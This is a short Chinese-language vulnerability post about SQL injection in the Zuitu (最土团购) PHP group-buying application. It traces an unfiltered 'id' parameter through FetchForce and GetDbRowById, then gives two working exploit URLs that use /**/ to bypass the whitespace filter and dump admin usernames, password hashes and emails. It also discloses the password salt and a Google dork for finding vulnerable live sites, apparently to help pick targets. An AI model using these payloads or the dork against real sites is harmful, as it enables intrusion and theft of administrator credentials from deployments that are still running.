最土团购
基础函数过滤不全导致注射。
ajax/coupon.php代码:
......
$cid = strval($_GET['id']); //第5行
......
$coupon = Table::FetchForce('coupon', $cid); //第44行
没有对参数id进行过滤,直接带入了FetchForce,再看看
FetchForce是什么
include/library/table.class.php 第172行
```
static public function FetchForce($n=null, $ids=array()) {
if ( empty($ids) || !$ids ) return array();
$single = is_array($ids) ? false : true;
settype($ids, 'array'); $ids = array_values($ids);
$ids = array_diff($ids, array(NULL));
$r = DB::GetDbRowById($n, $ids);
Cache::SetObject($n, $r);
return $single ? array_pop($r):Utility::SortArray($r,$ids,'id');
}
FetchForce没有对ids进行仔细的过滤,又调用了GetDbRowById
\include\library\DB.class.php 第128行
static public function GetDbRowById($table, $ids=array()) {
$one = is_array($ids) ? false : true;
settype($ids, 'array');
$idstring = join('\',\'', $ids);
if(preg_match('/[\s]/', $idstring)) return array();
$q = "SELECT * FROM `{$table}` WHERE id IN ('{$idstring}')";
$r = self::GetQueryResult($q, $one);
if ($one) return $r;
return Utility::AssColumn($r, 'id');
}
```
函数仅仅对ids中是否存在空格进行了判断,可以通过/**/来绕过
于是就有了下面的exp
exp:
```
ajax/coupon.php?action=consume&secret=8&id=2%27)/**/and/**/1=2/**/union/**/select/**/1,2,0,4,5,6,concat(0x31,0x3a,username,0x3a,password,0x3a,email,0x3a),8,9,10,11,9999999999,13,14,15,16/**/from/**/user/**/where/**/manager=0x59/**/limit/**/0,1%23
如果不行换成15位
ajax/coupon.php?action=consume&secret=8&id=2%27)/**/and/**/1=2/**/union/**/select/**/1,2,0,4,5,6,concat(0x31,0x3a,username,0x3a,password,0x3a,email,0x3a),8,9,10,11,9999999999,13,14,15/**/from/**/user/**/where/**/manager=0x59/**/limit/**/0,1%23
```
加密方式md5(password.'@4!@#$%@')
爆出来的md5后面加上salt(@4!@#$%@)
虽然停止开发了,但是谷歌一下还是有许多人用的。
inurl:about privacy php 团购
暂无评论